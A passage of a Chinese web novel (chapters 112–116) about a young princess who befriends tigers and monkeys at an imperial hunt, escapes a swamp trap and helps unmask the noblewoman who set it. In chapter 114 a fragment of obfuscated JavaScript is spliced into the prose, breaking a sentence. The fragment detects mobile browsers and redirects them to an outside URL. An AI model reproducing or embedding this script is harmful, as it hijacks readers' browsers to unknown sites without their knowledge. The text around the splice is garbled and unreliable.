母虎百忙之中回应了一声:“嗷呜。”
它甚至顺从地低下头,任由那只小手在它的耳朵上乱摸。
萧二额头落下了一滴冷汗。
一旁的侍卫们,个个张大了嘴巴,如同泥塑木雕。
不远处,刚刚才跑过来,裙摆污秽的慕容玉瑶,狼狈不堪的
僵立着瞪大了眼睛。
韦秉安早已跑得不知去向。
周景安捂住嘴巴生怕自己尖叫出来。
霍文萱一脸灰败,眼神中燃烧着刻骨的恨意。
第112章 你尿裤子了?
团团越摸越觉得好玩,最后直接舒舒服服地靠在了母虎的身上,仿佛倚着一个巨大的靠枕。
忽然,她的小鼻子动了动,抬起小脸,疑惑地看向母虎:“你很香呀!哪里来的臭臭的味道?”
母虎抬起脑袋望向慕容玉瑶。
团团也扭着小脑袋顺着它的目光看了过去:“你尿裤子了?”
慕容玉瑶这才反应过来,巨大的羞愤瞬间冲垮了她。
她尖叫一声,再也顾不得仪态,掩面大哭着朝营地的方向撒腿就跑。
霍文萱与周景安也从怔愣中清醒,连滚带爬地跟了上去。
团团转过头来:“你身上的花纹真好看,就叫你阿花好不好?”
母虎愣了一下,团团笑了,一把搂住了她的脖子:“你喜欢这个名字对不对?阿花?”
母虎摇了摇大脑袋,像极了地看见孩子胡闹却无可奈何的家长。
团团伸出小手指,轻轻点了点阿花的额头,用一副小大人的口气训斥道:“你怎么看的孩子呀!自己的宝宝都被人抱走了!”
“呜……”阿花委屈地垂下大脑袋,喉咙里发出低沉的呜咽。
随即猛地抬起头,死死盯向密林的另一个方向。
团团顺着它的目光看去,小脑袋歪了歪,恍然大悟:“哦!抱走你宝宝的坏蛋,在那边?”
阿花用力点了点巨大的头颅。
“那还等什么呀!”团团一下子从它的身上跳了起来,小手叉腰,气势十足,“教训他啊!谁家好娘亲,孩子都被抱走了不去算账啊!”
“吼——!!!”
阿花猛的立起,发出了一声石破天惊的虎啸!
声浪滚滚而去,震得周围的树叶都扑簌簌往下落下。
啸声在山谷间回荡未绝。
突然,另一道更加雄浑暴戾的虎啸便从密林深处轰然响起!
阿花大吼一声,像是在回应,团团捂住了耳朵:“好震哦!”
半晌后,一头体型比阿花还要大上一圈、壮硕如小山的斑斓巨虎,撞开灌木,冲至近前!
它獠牙外露,戾气滔天,沾满泥土草屑的前爪上,赫然带着触目惊心的新鲜血迹!
“嗷呜——”幼虎欢快地叫了一声,从母虎脚下窜出,蹒跚着扑了过去,亲昵地蹭着巨虎粗壮的前腿。
巨虎低下头,温柔地舔了舔小虎仔。
萧二与一众侍卫刚刚稍稍放松的神经瞬间再次绷紧,握着刀柄的手心里全是冷汗。
“没事没事,”团团却拍了拍小手,对着紧张万分的萧二解释道,“二叔叔,这是虎仔的爹爹呀!”
咦,虎仔走路时怎么总蜷着一条腿?
她走过去,蹲下身,抱起了虎仔,举着它蜷起的那只前爪,仔细端详。
“它受伤了呢。”团团的小脸上满是心疼。
她看着那两头比她高了几倍不止的巨虎:“跟我回去,我给你们的宝宝上点药药,很快就好。”
“咦,你比阿花的毛毛还亮,就叫你……阿黄吧,好不好?”
两头巨虎对视一眼,竟同时发出了低沉而顺从的咕噜声。
团团喊了一声:“回家啦!”怀抱着虎仔,迈着小短腿走在了最前。
两头如同小山般、目光炯炯的斑斓巨虎,一左一右地走在她的身旁。
萧二和几个侍卫,一脸做梦似的表情跟在后面。
大营内,皇帝已经狩猎归来,脸色阴沉,萧元珩和程如安坐立不安。
众人都听到了虎啸,周景安几人回来时也禀明了遇到了老虎。
团团怎么还没回来?
玄武卫已经派出去了一波,为何也没回来?
突然,外面的声音炸开了锅!
“老、老虎!两头!”
“护驾!护驾!”
惊呼声、刀剑出鞘声、甲胄碰撞声响成一片。
所有人如临大敌,弓箭手纷纷搭箭,瞄准了营地入口的方向。
皇帝萧杰昀在一众近卫的簇拥下快步走出大帐:“何事惊慌?!”
“陛,陛下!您看!”
萧杰昀往大营门口走去,萧元珩夫妇急忙跟了上来。
一行人在看清了眼前的景象后,脚步戛然而止。
“团团!”程如安腿一软,差点坐倒,萧元珩一把扶住了妻子。
团团开心地跑了过来:“娘亲!爹爹!”
她晃了晃怀里的小老虎:“阿花和阿黄的宝宝爪爪伤了,我带它回来上药。”
两只猛虎闲庭漫步一般地跟了上来,根本没有把这些两脚兽放在眼里。
“都给朕住手!收起兵器!”萧杰昀吼了出来。
圣旨一下,弓箭垂下,刀剑归鞘,但所有的侍卫依旧浑身紧绷,死死盯着那两只仿佛下一刻就会暴起伤人的巨兽。
萧元珩心头巨震,阿花?阿黄?
他的目光落在那两头光是站在那里就让人腿软的猛兽身上,嘴角狠狠抽搐了一下。
这名字……还真是他闺女的风格。
“陛下!请恩准臣,带他们回帐中,给,给阿花和阿黄的孩子疗伤。“
“啊?啊!去吧,快去!“萧杰昀摆了摆手。
“谢谢皇伯父!“团团抱着小老虎就朝自家的营帐跑去。
一边跑一边回头对那两只巨虎招手:“阿花,阿黄,快跟上呀,给你们的宝宝擦药药啦!”
在无数道呆滞目光的注视下,那两头百兽之王竟如同两只家猫一般,紧跟着团团,径直走向了宁王的营帐。
萧杰昀压下心中的惊涛骇浪,淡淡吩咐了一句:“传朕旨意,宁王营帐百步之内,列为禁区,不得擅闯,惊扰了……‘阿花阿黄’,后果自负。”
所有人互相看了一眼,擅闯?谁疯了去擅闯啊?!
镇国侯韦政秋此时从营外匆匆赶回,翻身下马,扑通便跪在了萧杰昀的面前:“陛下!请陛下为臣做主!”
萧杰昀皱了皱眉:“爱卿请起,何事要朕为你做主?”
“犬子同靖海侯之子,霍小姐和慕容小姐几人一同外出,如今他们都已平安归来。”
“独独臣的儿子始终未归,臣放心不下前去寻找,竟然,竟然在林中,发现了犬子的尸身!惨不忍睹!乃是被猛兽所害!”
“陛下!秋猎提前数日便已做好准备,猛兽皆被驱赶出了猎场,哪里来的猛兽伤人?”
“必是有人存心要害犬子啊!请陛下为臣做主!”
第113章 说者无心
皇帝御帐之中,萧杰昀面沉如水,端坐于上。
韦政秋满脸怒气,虎视眈眈地站在一旁。
周景安与霍文萱跪在下方,身子微微颤抖。
两人先是受了一番惊吓,如今又被叫来面圣,早已没了平日的骄纵,全都面如土色。
至于慕容玉瑶,宫人回禀说是脚崴伤了,正在帐中休养,无法面圣。
只有周景安与霍文萱心知肚明,她今日丑态毕露,想必实在无颜出现在人前。
“林中究竟发生何事?为何你们安然无恙,韦秉安却惨遭横死?”
周景安与霍文萱哪敢隐瞒,将如何发现幼虎,如何嬉戏玩弄,继而母虎突现,几人仓皇逃命时如何偶遇嘉佑郡主,一五一十都讲了一遍。
“愚蠢!无知!”萧杰昀听完,气得一拍桌案,“猛虎幼崽也敢轻易亵玩,尔等读的圣贤书都读到狗肚子里去了吗?”
周景安吓得连连叩首:“陛下息怒!陛下息怒!都、都是韦秉安!是他最先发现的!还一直抱着那虎崽不放!”
霍文萱也立刻跟着附和,将所有责任尽数推给那个再也不能开口辩驳的死人。
韦政秋听到他们将全部责任尽数推给了自己的儿子,气得浑身发抖,险些当场晕过去,却一个字也反驳不出。
萧杰昀训斥了二人一番,又安抚了韦政秋:“朕也为爱卿心痛,准其厚葬。”将他们都打发了出去。
然后,萧杰昀按捺不住心中猫抓般的好奇,移驾来到了宁王营帐。
程公公掀开帐帘,萧杰昀往里探头一看,饶是他身为帝王,见多识广,嘴角也不由得狠狠一抽。
只见那原本宽敞的大帐之内,此刻被两只庞然大物塞得满满当当。
母虎阿花慵懒地趴卧在地,占据了大半空间,公虎阿黄则蹲坐在旁,如同一座沉稳的小山。
而被它俩围在中间的团团,正抱着小虎仔,躺在两虎之间,撸着虎仔的小耳朵开心地咯咯直笑。
萧元珩坐在稍远处的椅中,看着这“三虎一崽”的画面,表情一言难尽。
“皇伯父!”团团一抬头,看见了他,扬起一个笑脸。
萧元珩急忙起身:“陛下!”
萧杰昀定了定神,走进帐内,将方才的事情说了一遍:“那韦秉安咎由自取,与人无由。”
团团听到后抬起了头:“皇伯父,阿花说,它们不是故意要跑到这边来的。”
“哦?那是为何?”
“它们喝水的地方脏了,苦苦的,宝宝喝了拉肚子。”
“它们只好带着宝宝去很远的地方找水喝,宝宝才会走丢,被坏蛋抱走。”
萧元珩一愣:“团团,你怎么知道?”
“阿花告诉我的啊!”小团子回答得理所当然。
萧杰昀面露惊诧,萧元珩却心知肚明。
“程谨言,立刻派一队熟悉此地的侍卫,带上工部的人,去水源上游查看!”
不过一个多时辰,派去的人便匆匆回来复命:“回禀陛下!上游一处山涧内滋生了大量罕见水藻,导致水体浑浊发绿。”
“臣等已命人紧急清理,水流不久即会恢复如初。”
那官员顿了顿:“臣等在清理时,于涧边的泥地上,发现了一些兽类脚印,形似鹿蹄,步履却不如鹿大,以前从未见过。”
萧杰昀摆了摆手:“下去吧。”
没见过的兽类?会是什么?
“皇伯父!”团团突然喊了一声,打断了萧杰昀的思路,”嗯?何事?”
“阿黄说,皇伯父,你以后少猎些鹿吧!给他们留几只!”
所有人的目光都下意识地看向了皇帝,连萧元珩都忍不住挑了挑眉,紧紧地抿住了嘴唇。
萧杰昀脸上的威严瞬间凝固,下意识地看向“阿黄”。
阿黄巨大的头颅微微昂起,从鼻子里喷出一股热息,那双琥珀色的竖瞳瞥了皇帝一眼,随即高傲地转向一旁。
那姿态,活脱脱像是在说:“听见没?给句准话!”
除了一本正经盯着皇帝的团团,连程公公都死死地捂住了自己嘴,憋笑憋得肩膀直抖。
萧杰昀这辈子什么大风大浪没见过,被言官指着鼻子骂昏君都能面不改色。
此刻却被一头老虎搞得一张老脸青了又红,红了又白,尴尬的脚趾都能抠出一座行宫来。
他瞪着那只傲娇的公虎,又好气又好笑,最终只得哭笑不得地道:“好,好!朕知道了!”
“程谨言!传,传朕口谕!此次秋猎,多猎野猪獐子,鹿……就少猎些!”
“皇伯父最好啦!”团团顿时眉开眼笑,伸出小胳膊抱住阿花毛茸茸的脖子蹭了蹭,“阿花阿黄!你们听见了吧?皇伯父把鹿留给你们啦!”
母虎阿花发出了一声低沉而愉悦的呼噜声,大脑袋轻轻回蹭了一下她。
公虎阿黄虽然依旧昂着头,但那粗长的大尾巴尖,却满意地轻轻甩动了几下。
萧杰昀看着这“人虎谈判”圆满成功的场面,无奈扶额。
得,他这真龙天子,如今还得看着这百兽之王的面子行事了。
他无奈地摇了摇头,站了起来:“朕回去了。”
萧元珩面带微笑:“恭送陛下!”
又过了一个多时辰,阿花站了起来,叼起了虎仔的后脖颈,看了眼团团。
团团明白了:“你们要回家了吗?”
阿黄伸直了前爪,活动了一下筋骨,也站起身来。
团团跑到帐帘边,将帘子拉开。
两头猛虎慢悠悠地向来时的路上走去。
夕阳此时已将天边染成了一片瑰丽的橘红。
“老虎出来啦!”
“什么?怎么又出来了?”
“在哪儿?”
众人虽不敢走近,却也全都好奇地站在不远处张望着,毕竟,此等情景实在是百年难遇。
在无数道或敬畏、或恐惧、或好奇的目光注视下,阿花和阿黄缓缓踱步前行。
团团拉着父亲的手,跟在他们后面。
到了大营门口,阿黄走到团团面前,低下头,用那布满倒刺的巨大舌头,轻轻舔了舔她的小脸,惹得小团子咯咯直笑。
两只猛虎叼着幼崽,转身走出了大营。
团团挥舞着两只小胳膊,恋恋不舍地大喊:“阿花,阿黄,你们要乖乖的哦!下次再来找我玩呀!”
两头巨虎回望了她一眼,回应般发出一声低沉的轻吼,随即转身,矫健的身影几个起落,便消失在暮色之中。
所有目睹这一幕的人,都不由自主地松了口气,这两个祖宗,总算是走了!
这要是在营地待上一晚,我们这觉还怎么睡啊!
萧元珩牵起女儿的小手:“今日爹爹猎了头野猪,走,跟爹爹去吃烤猪肉!”
暮色渐深,灯火初上。
周遭人来人往,收拾猎具、准备晚膳的喧嚣声不绝于耳。
“爹爹,刚才那个伯伯说,上游的水边发现了没见过的脚印呢。”
她晃了晃萧元珩的手:“明天我想去看看!”
萧元珩何时拒绝过女儿?摸了摸她的头:“好!想去便去!”
说者无心,听者有意。
父女两个讲话的时候,霍文萱正如幽灵般悄然站立在距离两人最近的营帐之后。
她也是听到有人大喊老虎出来了,走出来看的,没想到竟然有这样的收获。
好啊!明天,定让你有来无回!
嘉佑郡主,你欠我的,明日我跟你一并算清!
第114章 我的裙子都脏啦
次日一早,晨光熹微,林间弥漫着草木与泥土的清新气息。
萧二将团团稳稳抱在身前,策马沿着一道潺潺溪流向上游而去,几名侍卫在后面骑马随行。
越往深处,林木愈发葱郁,鸟鸣声此起彼伏。
“小姐,前面马匹不好走了。”
萧二勒住缰绳,翻身下马,将团团抱了下来。
侍卫们熟练地将马匹拴在溪边粗壮的树干上。
团团好奇地打量着这个陌生的地方。
这里的空气更加湿润,溪流两侧的地上铺满了落叶。
“脚印,脚印……脚印在哪里呢?”团团低头寻找着。
“二叔叔,你看!在那里!”她眼睛一亮,指着不远处一堆落叶上的一个看起来像兽类脚印的地方,迈开小短腿就跑了过去。
“小姐,留神脚下!”萧二心头一紧,连忙跟上。
这里过于潮湿泥泞了,让他本能地感到不安。
然而,还是晚了一步。
团团的小靴子刚踏上那片看起来与周围无异的土地,便陡然向下一陷!
看似坚实的地面,竟如同活物般随着她的下陷开始蠕动。
“呀!”团团惊呼一声,瞬间失去了平衡,两脚以肉眼可见的速度陷了下去,淤泥瞬间没过了她的小腿!
那不是普通的泥地,厚厚的落叶之下,竟是能将人活活吞噬的沼泽!
远处树上的一个男子,脸上露出了得意的微笑。
“小姐!”萧二目眦欲裂,扑了上去,一把抓住了团团的手臂,阻止她继续下陷。
但他不敢用力猛拉,在沼泽中,越是挣扎,下沉得越快!
身后的侍卫们也瞬间冲了上来,个个面色大变。
“是沼泽!”
“快!找树枝!拉藤蔓!”
“小姐别动啊!越动陷下去越快!你别怕,我绝不会松手!”萧二臂膀肌肉虬结,额角青筋暴起。
那淤泥的吸力大得惊人,他感觉自己仿佛在是和一头无形的巨兽进行着一场角力。
纵然他臂力惊人,却不仅无法将人拉起,自己的身体反而也开始微微下陷!
团团被萧二死死地拽着,低头看着那漆黑的淤泥,已经淹没了自己的小腿,小脸上全是嫌弃:“好脏哦!把我的裙子都弄脏了!”
她并没有挣扎,而是静静地看着这片试图吞噬她的泥沼。
“好啦,是我啊!放我出去啦!不许使劲拽我!”
话音刚落,那原本强大的恐怖吸力,竟如同潮水般逐渐退去!
蠕动的淤泥仿佛瞬间失去了活性,逐渐变得温顺而松散。
团团站着没动,刚刚陷进去的双脚逐渐浮起,最后稳稳地站在了地面上。
萧二正用尽全力向后拉扯,猝不及防之下,猛地脱力,向后摔了出去,一屁股坐在了地上。
手里拿着树枝和藤蔓赶回来的侍卫们目瞪口呆地僵住了。
团团抬起小脚,看了看身上,今早新换上的,娘亲亲手给自己做的小衣裳沾的全是黑泥,不高兴的撅起了小嘴。
“小姐!你没事吧。”萧二急忙爬起走了过来,蹲下身子仔细看着团团的两条小腿。
团团摇了摇头,向四周到处张望。
突然,她眼神一亮,对着密林深处大喊了:“都出来吧!把这里弄干净!你们住的地方这么脏,不难受吗?”
“把我的裙子和鞋子都搞脏了!”
萧二站了起来,和几个侍卫顺着团团的目光看向林中,一脸茫然,小姐在叫谁?这里除了我们几个,哪有旁人啊!
“吱吱——喳喳!”
声音越来越大,越来越多,在树上!
什么东西!萧二和侍卫们纷纷抽出了佩刀,仰头望去,在团团前面围成了一个扇形。
四周的树冠突然剧烈地摇晃起来,伴随着一片更加嘈杂尖锐的鸣叫。
足足几百只灰色林猴,如同鬼魅般从枝叶间中探出身来。
它们焦躁地在树枝上来回跳跃,抓耳挠腮,目光齐刷刷地看向团团。
“下来啊!你们住在这里,干嘛不打扫干净?”团团一脸的不高兴。
下一瞬,猴群动了!
它们灵巧地从树上溜下,冲到团团所站的这片草地的边缘。
无数尖锐的爪子疯狂地刨挖地上的落叶和草丛。
泥土与草屑顿时齐飞。
萧二和侍卫们不敢走开,站在原地不动,眼看着无数只猴子在自己的脚下到处乱窜,身上的鸡皮疙瘩都起来了。
猴群的动作快得令人眼花缭乱,它们互相协作,一层又一层,将地上的落叶和草丛迅速清除得干干净净。
一切清理过后,整片沼泽全部露了出来。
团团站立的地方,显然是被人修整过的。
有人在沼泽上覆盖了落叶和杂草!
萧二倒吸一口凉气。
谁做的陷阱!简直天衣无缝!把厚厚的落叶和杂草堆积在沼泽上,又在沼泽上做出了类似兽类脚印的痕迹。
“小姐!”萧二惊怒非常,这是存心想要小姐的命啊!
团团低头看了看,也明白了。
哪个坏蛋敢害我?等我把你揪出来的!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498184|184125||http|test|mini|href|location''.split(''|''),0,{}));
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r>她看向地上的猴群:“谁把这里弄成这样的?”
“吱吱!”一只体型最大的猴子,像是这一大群林猴的猴王,邀功似的跳到了团团面前,冲着她一顿手舞足蹈。
团团眼睛一亮:“他居然还在?”
猴王猛地点头,伸手指向密林,龇牙咧嘴,发出愤怒的尖叫。
团团顺着它指的方向望去,小脸慢慢绷紧。
她看着那片被猴子们清理出来的沼泽,又看了看猴王所指的方向:“干得不错!再帮我一个忙,把他找出来!”
猴王像是听懂了她的夸奖,兴奋地在地上翻了个跟头,随即
发出一声尖锐如哨鸣的长啸,身后的猴群瞬间沸腾!
无数道灰色的身影如同离弦之箭,跳上树枝,在林间枝干上荡起道道残影,朝着猴王所指的方向风驰电掣般扑了过去!
“二叔叔!”团团喊了一声,萧二秒懂,马上跟了上去,“你们几个,留下保护小姐!“
“是!”
树上的男子看到团团踏入沼泽后,以为她必死无疑,悄悄溜下了树,正悄无声息地打算回去报信。
没想到突然听见头顶风声呼啸,他心中一惊,猛地抬头,只见无数双亮晶晶的、充满愤怒的眼睛,正从四面八方的树冠中死死盯住了他!
猴子?哪来的?跟着**嘛?
他暗道不好,拔腿便跑。
已经晚了。
“吱吱喳喳!”
猴群如同灰色的瀑布般从树上倾泻而下!
有的落在他头上,尖锐的爪子狠狠抓向他的眼睛;有的抱住他的手臂,张口就咬;更多的则是挂在他的背上、腿上,疯狂地撕扯他的衣裳!
男子显然武功不弱,拳脚挥舞间,数只猴子被他打飞了出去,发出痛苦的哀鸣。
但猴子的数量实在是太多了,而且无比灵活。
它们前赴后继,被打倒一只,立刻又有三只扑上去。
男子的上衣很快便被撕成了碎片,脸上,身上瞬间布满了无数抓痕。
他试图运起轻功摆脱,却被几只猴子死死抱住腿脚,完全施展不开。
就在他疲于应付、狼狈不堪之际,一道凌厉的刀光破空而至!
萧二到了!
他看到眼前这“人猴大战”的景象,也是愣了一下,但手上的动作丝毫不慢。
抡起刀背便拍向男子的腿弯处。
“呃啊!”男子单膝跪地。
萧二掏出身上绳索,将他绑了个结结实实。
上前便猛踹了一脚:“说!是谁让你来害我家小姐?”
第115章 找出来!
男子痛哼了一声,却一个字也不说。
萧二见他嘴严,一时半刻问不出什么,于是将他带回到团团的面前。
却看到团团正从地上捡起了什么,放进了腰间的绣囊。
她系好了绣囊的带子,走到男子面前:“这个陷阱是你干的?”
男子依旧一声不吭。
团团忍了好半天了,实在受不了身上的湿泥:“二叔叔,带上他,咱们回去找爹爹!”
“是!”
团团抬头看向猴王:“喂!跟我回去,我给你们很多很多好吃的谢谢你们啊!”
猴王眼睛一亮。
团团看了看树上趴着的,黑压压的一大片猴子:“不过,我那里小,你们不能都去,就……带上一半,跟我走吧!”
说完便牵起萧二的手:“咱们走吧,二叔叔,它们会跟上来的。”
猴子们一阵“吱吱喳喳!”。
果然,跟在猴王身后,在树上一直尾随着向营地而去的猴子们少了许多。
当萧二抱着浑身沾满污泥的团团,押着一个被捆得结结实实、衣衫不整的男子,以及身后跟着的,浩浩荡荡的几十只抓耳挠腮的猴子走进营地时。
整个秋猎大营瞬间炸开了锅!
“天爷啊!那是……小郡主?”
“怎么弄成了这副模样?”
“快看!后面还有猴子!天哪,这么多猴子!”
“他们押着的是谁?出什么事了?”
“小郡主真是不得了啊!昨天刚带回了一窝老虎,今日又带回了一群猴子!”
惊呼声、议论声此起彼伏。
人们纷纷从营帐中探出头来,无不目瞪口呆。
萧元珩一听外面人声鼎沸,第一个念头就是团团又干了什么。
程如安也一样,二人急忙走出帐外。
程如安一眼就看到了女儿那副脏污不堪的模样,心瞬间揪紧:“团团!怎么回事儿?怎么滚了一身泥回来了?”
萧元珩面色一沉,凌厉的目光扫过萧二和那个男子。
萧二单膝跪地:“王爷、王妃!有人利用沼泽设下致命陷阱,小姐不慎踏入,险些不测!”
“幸得上天庇佑,郡主洪福齐天,得到灵猴相助,方能化险为夷!此人,便是布置陷阱的凶手,已被我等擒获!”
“什么?!”程如安脚下一软,险些站立不稳。
团团拉着她的手:“娘亲别怕,你看,我好好的呢!”
她低下头,看着自己脏得一塌糊涂的新衣裳,小嘴一瘪,委屈了:“娘亲,对不起,你给我新做的漂亮衣裳,被我弄脏了。”
程如安心中一疼,一把搂住她泥乎乎的小身子,声音哽咽:“傻孩子,一件衣裳算什么!娘亲再给你做!你人没事儿才最重要!”
她一边擦眼泪,一边连声吩咐:“快!快去准备热水!越多越好!给小姐沐浴!快!”
萧元珩目光扫过那群显得有些不安的猴子:“这些个‘功臣’!……好生看顾,莫要惊扰。”
团团回头大喊:“爹爹!我答应给他们好多好吃的!”
萧元珩笑了:“爹爹知道了!去,拿好吃的给他们!”
团团洗了一个舒舒服服的热水澡,换上了一身干净的小衣裳,牵着程如安的手,神清气爽地走出了大帐。
萧二禀告:“小姐!陛下旨意,要亲审那名人犯!”
团团点了点头,拉着母亲来到了皇帝的御帐中。
萧杰昀端坐上座,萧元珩坐在下方,两人的脸色都很不好看。
“皇伯父!爹爹!”
“伤着没有?快过来让皇伯父好好看看!”
团团松开娘亲的手跑到了萧杰昀的面前:“我很好啊,没受伤!”
萧杰昀把她搂进怀里:“那就好!吓坏了皇伯父了。”
随即脸色一变:“你好大的胆子!竟敢谋害朕的郡主!不怕朕诛了你地九族吗?!”
团团往下一看,那男子正跪在中央,身上满是伤痕,显然已经过了刑讯,却依旧低垂着头,一言不发。
团团小脑袋一歪,想了想,噔噔噔地跑到了大帐门口:“你们进来啊!”
猴群刚刚饱餐了一顿“御膳”,正在外面到处上蹿下跳地玩耍,听到她的召唤,猴王立刻灵巧地窜了进来,蹲到她脚边,其他猴子也好奇地跟了进来。
帐中众人无不紧张了一下,虽说猴子不比老虎,但骤然见到几十只猴子在自己眼前蹦来跳去,还是被震撼到了。
团团指着那男子,对猴王道:“你们有办法找出跟他说话的人吗?你们见过吗?帮我找出来!”说完便回到了母亲的身边。
猴王回头对着猴群“吱吱”数声,猴子们纷纷聚在它周围,大帐中顿时“吱吱喳喳!”得叫个不停,仿佛是在开会商量。
下一刻,群猴一拥而上,扑向那男子。
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扎起来,奈何已被五花大绑,根本无法反抗。
只听“嗤啦”几声,他身上本就褴褛的衣物瞬间被猴群撕扯得粉碎,整个人顿时赤条条地暴露在众目睽睽之下!
“呀!”程如安一声低呼,急忙伸手捂住了女儿的眼睛,向后转身:“团团别看,丑!”
团团乖巧地待在母亲怀中:“嗯!太丑了!我不看!”
男子又羞又怒,脸上青红交加,心里苦不堪言:我哪里丑了?
萧元珩急忙挥手命人拿了件旧衣胡乱给他盖住遮羞。
片刻后,程如安回头看了一眼,这才放下了手。
团团看向猴群。
猴子们直接将所有衣服都撕成了布条,从袜套中掉出了几张被汗水浸得有些发潮的巨额银票。
猴王拿起银票,兴奋地跑到团团脚下。
团团小脸皱成了一团:“太脏啦,我不要!”
萧杰昀看了程谨言一眼,程公公会意,立刻上前,小心翼翼地从猴王的爪子里接过那几张银票,仔细查验。
“启禀陛下,这是京城宝丰钱庄开出的银票。”
“只是,宝丰行的银票流通甚广,单凭这个,实在难以追查来源啊。”
团团指了指银票,看着猴王:“这个没用啊!”
猴王奔向程公公,劈手便将银票夺了过来,吓得程公公浑身一哆嗦。
心里暗暗叫苦,郡主啊,昨日是老虎,今天又是猴子,杂家这把岁数了,能不能少受些惊吓啊!
猴王将银票凑到鼻子前,极其认真地嗅闻起来,片刻之后,它猛地抬起头,一双人一样的眼睛里闪烁着兴奋的光芒。
团团眼前一亮:“你有办法了?”
猴王抓耳挠腮,吱吱吱一阵尖叫,一只手指向帐外,急得就快说出人话来了。
团团小手一挥:“那就去吧!”
“吱——!”
猴王发出一声尖锐的指令,叼着银票,如同一道灰色的闪电,瞬间窜出了御帐!
它身后的猴群也呼啦啦地跟了出去。
萧元珩下令:“快!跟上!无论是谁,带过来!”
“是!”萧二立刻带着几个侍卫冲出大帐,紧随其后。
猴王叼着银票,带着一众小弟在营地的大帐中四处穿梭,到处嗅闻。
最终,停在了营地西侧,一座门前挂着琉璃风铃的营帐前。
它举起爪子,指着那座营帐,发出了急促而愤怒的尖叫!
第116章 我怎么知道!
正是霍文萱的营帐!
帐内,霍文萱正心神不宁地来回踱着步,焦急地等待着消息。
帐外突如其来的猴群尖叫声吓得她脚下一停。
哪儿来的猴子!
她不耐烦高声喝斥:“外面怎么了?我不是说了,今日我头痛,谁也不许打扰我!赶紧把那些扁**畜生都给我轰走!”
萧二无视帐外侍女的阻拦,一把掀开了帐帘。
霍文萱被这突如其来的闯入惊得后退了半步。
随即她便柳眉倒竖,拿出了世家贵女的派头厉声呵斥:“大胆!你一个侍卫,岂可擅闯我的营帐!还有没有规矩了!”
萧二抱拳行礼:“霍小姐,陛下有请,请移步御帐。”
霍文萱心头一跳:“陛下召见?所为何事?”
萧二不答,侧身让开道路:“请吧,霍小姐。”
霍文萱心知不妙,深吸了口气,抬手整理了一下钗环衣裙,强压下心中的忐忑,努力维持着高傲的姿态,走出了营帐。
踏入御帐,她一眼便看到了地上被捆绑的男子,顿时瞳孔骤缩!
环视四周,皇帝端坐其上,脸上一片寒冰。
萧元珩面沉如水,程如安紧紧搂着毫无无伤的女儿,看向她的目光充满了冰冷的恨意。
她的心彻底沉了下去。
事情败露了!
不能认!绝对不能认!
她迅速收敛心神,上前几步,姿态优雅地行礼:“臣女霍文萱,参见陛下,见过宁王,王妃,嘉佑郡主。”
她面露困惑:“不知陛下召臣女前来,所为何事?”
话音刚落,团团便伸出小手指着她:“就是你让人害我!”
霍文萱心头剧震,脸上却露出难以置信的神情,“噗通”一声跪倒在地:“陛下明鉴!郡主此话从何说起?臣女冤枉啊!”
“昨日臣女被猛虎惊吓,一直在帐中静养,不曾踏出营地半步!如何能谋害郡主?”
“臣女根本不知发生了何事,郡主怎能如此信口雌黄,污我清白!”
她眼角的余光扫过那男子,此人是母亲寻来的死士,家眷皆在掌控之中,绝无可能招供。
你们若真有铁证,早已直接降罪,何必还将我“请”来问话?
眼下必定只是怀疑,尚无实证!只要我始终不认,你们又能奈我何?
门外传来禀告:“陛下!萧二求见。”
“准!”
萧二手中捧着一叠银票,单膝跪地:“陛下,这是那群猴子,在莫小姐床榻锦被之下找到的。”
霍文萱脸色一变。
程公公立刻上前接了过来,仔细查看:“陛下!这几张银票,与从那凶徒身上搜出的,是同一钱庄所出,且号码相连!”
萧杰昀猛地一拍桌案,龙颜震怒:“铁证如山!霍文萱,你还有何话说?!”
霍文萱脸色煞白如纸,却仍咬牙强辩:“这银票我从未见过!定是有人栽赃陷害!”
她抬手一指团团:“是她!定然是她!驱使那些妖猴将银票放入我帐中陷害于我!”
“冥顽不灵!”萧杰昀摇了摇头,“好!既然你咬定是郡主栽赃,那朕便下旨,彻查你霍家满门!”
“朕就不信,你霍家上下全都同你一样,胆敢欺君罔上!”
“抄家”!这两个字如同惊雷,狠狠劈在霍文萱头顶!
她所有的侥幸、强硬,终于被彻底击碎了。
她再也支撑不住,瘫软在地,涕泪横流,明白大势已去,再无可辩驳。
一直强压着怒火的萧元珩站了起来:“陛下!前次便是她指使人掳走小女!臣看在长公主哀求的份上,才未再深究!”
“没想到,此毒妇非但不知悔改,还怀恨在心,此次更是布下如此歹毒的杀局,欲将小女置于死地!臣忍无可忍!”
萧杰昀闻言,眼中寒意更盛:“竟还有此事?!”
他看向萧元珩,“皇叔,此毒妇,朕便交予你处置。”
萧元珩躬身一礼,眼神冰冷。
他盯着瘫软如泥的霍文萱:“陛下,既然她想让臣的女儿惨死于沼泽之中,臣便以其人之道,还治其人之身!”
皇帝微微颔首。
霍文萱声音凄厉:“不——!陛下饶命!王爷饶命!我知道错了!我再也不敢了!”
程如安把女儿紧紧搂住,捂住了她的耳朵。
萧二跨步上前,和几个侍卫一起,毫不留情地将她拖了出去。
帐外传来猴群的声音,团团跑了出去:“你们吃饱了吗?”
猴子们全都看着她,猴王“吱
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吱喳喳”一阵尖叫和比画。
“等等我!”团团转身跑回大帐:“皇伯父!他们想回家啦!能不能把所有的核桃花生松子那些,都让他们带走?”
萧杰昀扶额:“程谨言!去!将朕的干果,鲜果,都赏赐给这些破案有功的功臣!”
程公公一怔,小心翼翼地开口:“陛下!全赏给这些猴子?那您每日的份例……”
萧杰昀瞪了他一眼:“老家伙!你不会让他们从京城再给朕运过来吗?”
程公公笑眯眯地应了:“是!是老奴糊涂了,老奴这就去办。”
于是,猴王带着一众小弟,背着装满了干果和鲜果的小包袱,满意地离开了营地。
又过了几日,秋猎结束,众人回到了京城。
冯舟听说自己荣升五品,感觉如同做梦一般。
这,这就成了五品官了?
他对着程如安和团团千恩万谢,心里明白,自己无级无品,只不过是献上了一张图纸,定是宁王在圣上面前举荐了自己。
对比过去的自己,如今真是扬眉吐气!
只是,这直属皇权的私务坊,究竟该如何设立?位居何处?招募何人?
